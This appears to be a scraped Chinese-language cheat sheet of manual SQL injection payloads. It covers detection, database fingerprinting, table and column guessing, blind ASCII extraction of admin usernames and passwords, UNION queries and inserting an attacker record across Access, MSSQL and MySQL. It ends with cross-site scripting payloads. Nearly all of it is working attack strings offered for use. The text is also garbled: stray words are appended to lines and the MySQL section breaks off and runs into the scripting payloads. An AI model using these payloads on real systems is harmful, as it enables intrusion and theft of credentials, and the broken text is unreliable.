SQL注入語句-手工測試

準備工做:先把IE菜單=>工具=>Internet選項=>高級=>顯示友好 HTTP 錯誤信息前面的勾去掉。不然,不論服務器返回什麼錯誤,IE都只顯示爲HTTP 500服務器錯誤,不能得到更多的提示信息。html

數字型:and 1=1 and 1=2 判斷是否存在注入
字符型:' and '1'='1 ' and '1'='2
搜索型: 關鍵字%' and 1=1 and '%'='% 關鍵字%' and 1=2 and '%'='%mysql

IIS報錯狀況下使用:sql

  1. and user>0 (判斷是ACCESS仍是MSSQL)不報錯則使用各自數據庫特性來判斷
  2. and (select count(*) from msysobjects)>0 (返回權限不足access數據庫)
  3. and (select count(*) from sysobjects)>0 (返回正常則爲MSSQL數據庫)
  4. and db_name()>0 (返回數據庫名)
  5. and 0<>(select @@version)-- (判斷版本信息)
  6. and db_name()>0 (返回數據庫名)

************注意:猜解以前先要找到後臺地址,否則白忙了**********
ACCESS注入:數據庫

猜解表名(正常則存在admin,不正常則不存在)express

and exists (select * from [admin])服務器

and (Select Count(*) from Admin)>0xss

猜解字段:(字段username存在則正常,不正常則不存在)函數

and (Select username from Admin)>0工具

and exists (select username from [admin])post

猜解用戶名和密碼長度

and (select top 1 len(username) from Admin)>0

and (select top 1 len(password) from Admin)>0

原 理:若是top 1的username長度大於0,則條件成立;接着就是>一、>二、>3這樣測試下去,一直到條件不成立爲止,好比>4成 立,>5不成立,就是len(username)=5,即用戶名長度爲5.獲得username的長度後,用mid(username,N,1)截 取第N位字符,再asc(mid(username,N,1))獲得ASCII碼.

猜解用戶

and (select top 1 asc(mid(username,1,1)) from Admin)>0,1,2…,

當輸入到109時,顯示錯誤,而108以前顯示正確,說明第一個字符的ASCII碼爲109.,獲得第一個字符是m。

同理and (select top 1 asc(mid(username,2,1) from Admin)>0,1,2…

到114的時候不成立,說明第二個字符的ASCII碼值爲114,字符爲r。

注意的是英文和數字的ASCII碼在1-128之間...


MSSQL注入:

having 1=1-- 【爆出一個表名及字段,如:列 'users.ID' 在選擇列表中無效】

group by users.ID having 1=1--

group by users.ID, users.username, users.password, users.privs having 1=1--

; insert into users values( 666, attacker, foobar, 0xffff )-- 【插入新記錄】

猜解表名:

SQL SERVER的每個數據庫都會有用戶表和系統表,在系統表sysobjects中, 數據庫內建立的每一個對象(約束、默認值、日誌、規則、存儲過程等)在sysobjects表中佔一行,那麼也就是說當前數據庫的表名都會在該表內有存在。 咱們經常使用到的參數有三個,name (數據表的名字),xtype( 數據表的類型 u爲用戶表),id( 數據表的對象標誌)。

and (select top 1 name from sysobjects where xtype='u')>0 (獲得第一個表名:好比user)

and (select top 1 name from sysobjects where xtype='u' and name not in ('user'))>0 獲得第二個表名,後面的以此類推。。

猜解列名:

用 到系統自帶的2個函數col_name()和object_id(),col_name()的格式是「COL_NAME( table_id , column_id )」,參數table_id是表的標識號,column_id是列的標識號,object_id(admin)就是獲得admin在sysobjects 中的標識號,column_id=1,2,3代表admin的第1,2,3列。

and (select top 1 col_name(object_id('admin'),1) from sysobjects)>0 【獲得admin字段的第一個列名「username」依次類推,獲得「password」「id」等等】

猜解字段內容:

and (select top 1 username from [admin])>0 【直接獲得用戶名】

and (select top 1 password from [admin])>0 【直接獲得密碼】

UNION聯合查詢:

select name,password,id from user union select user,pwd,uid from 表名

and 1=1 unionselect 1,2,3,4,5... from 表名 (數值從1開始慢慢加,若是加到5返回正常,那就存在5個字段)

ASCII逐字解碼法:

一、猜解列長度

and (select top 1 len(列名)from 表名)>N

其中N是數字,變換這個N的值猜解列長度,當N爲6正確,爲7錯誤,則長度爲7

猜解第二條記錄就該使用:select top 1 len(列名) from 表名 where 列名 not in (select top 1 列名 from 表名)

二、猜解用戶和密碼

ASC()函數和Mid函數,ASC(mid(列名,N,1))獲得「列名」第N位字符ASCII碼

猜解語句爲:and (select top 1 asc(mid(字段,1,1)) from 數據庫名)>ASCII碼

區間判斷語句:....between......and......

中文處理法:當ASCII轉換後爲「負數」使用abs()函數取絕對值。

例:and (select top 1 abs(asc(mid(字段,1,1))) from 數據庫名)=ASC碼

ASCII逐字解碼法的應用:

一、猜解表名:and (select count(*) from admin)<>0

二、猜解列名:and (select count(列名) from 表名)<>0

三、猜解用戶個數:and (select count(*) from 表名)>1,2.. 2正常,3錯誤,表中有3條記錄。

四、猜解用戶名的長度:and (select len(列名) from 表名)>=一、>=二、>=三、>=4。

五、猜解用戶名:and (select count(*)from 表名 where (asc(mid(列名,1,1))) between 30 and 130)<>0

最後提交:and (select asc(mid(列名,1,1)) from 表名)=ascii的值

六、猜解管理員的密碼:

按照上面的原理,把上面的語句中(asc(mid(列名,1,1)的列名換成PASSWORD就能獲得密碼了。

 

MYSQL+PHP注入:

1.判斷是否存在注入,加';and 1=1 ;and 1=2

2.判斷版本 and ord(mid(version(),1,1))>51 代替。

3.判斷數據庫鏈接賬號有沒有寫權限,and (select count(*) from mysql.user)>0 onerror=alert(/xss/) width=150></img> ( 表示註釋)

<img src=vbscript:msgbox ('xss')></img>

<style> input {left:expression_r (alert('xss'))}</style>

<div style={left:expression_r (alert('xss'))}></div>

<div style={left:expression_r (alert('xss'))}></div>

<div style={left:\0065\0078ression (alert('xss'))}></div>

html 實體 <div style={left:&#x0065;xpression (alert('xss'))}></div>

unicode <div style='{left:expression_r (alert('xss'))}'>[/post]

相關文章
相關標籤/搜索